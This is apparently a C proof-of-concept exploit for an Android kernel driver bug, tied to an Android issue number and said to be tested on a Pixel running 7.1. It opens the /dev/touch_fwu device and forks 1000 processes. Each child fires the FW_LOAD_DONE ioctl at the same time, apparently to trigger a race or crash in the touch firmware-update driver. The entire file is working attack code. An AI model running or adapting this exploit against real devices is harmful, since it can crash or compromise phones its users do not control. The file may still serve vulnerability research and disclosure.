/*
 * https://code.google.com/p/android/issues/detail?id=227730
 * the poc was tested in pixel : google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com
 * 20161115
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <linux/if_tun.h>
#include <netinet/in.h>
#include <net/if.h>

#define TOUCH_FWU_IOCTL_CODE                    (0x81)
#define FW_UPDATE_PROCCESS                      _IO(TOUCH_FWU_IOCTL_CODE, 1)
#define FW_FILE_SIZE                            _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
#define FW_FILE_REQUEST                         _IO(TOUCH_FWU_IOCTL_CODE, 3)
#define FW_LOAD_DONE                            _IO(TOUCH_FWU_IOCTL_CODE, 4)
#define FW_UPDATE_BYPASS                        _IO(TOUCH_FWU_IOCTL_CODE, 5)

void test_ioctl(int fd)
{
	int ret, cmd;
	int size = 16;
	
	cmd = FW_LOAD_DONE;
	ret = ioctl(fd, cmd, NULL);
	if(ret<0) {
		printf("ioctl fail %s\n",strerror(errno));
		return;
	}
	//printf("ioctl FW_LOAD_DONE ok\n");

}

void test_ioctl_multi(int fd)
{
	pid_t pid;
	int i = 0, num = 1000;
	
	for(i = 0; i < num; i++) {
		pid = fork();

		if(pid < 0) {
			printf("fork %d fail\n",i);
		} else if(pid == 0) {
				test_ioctl(fd);
		} else {
			printf("fork %d succ\n",i);
		}
	}

	printf("fork done!\n");
	while(1) {
		getchar();
	}

}

	int
main(int argc, char *argv[])
{
	char* path = "/dev/touch_fwu";
	int fd;
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	test_ioctl_multi(fd);
	close(fd);
	return 0;
}
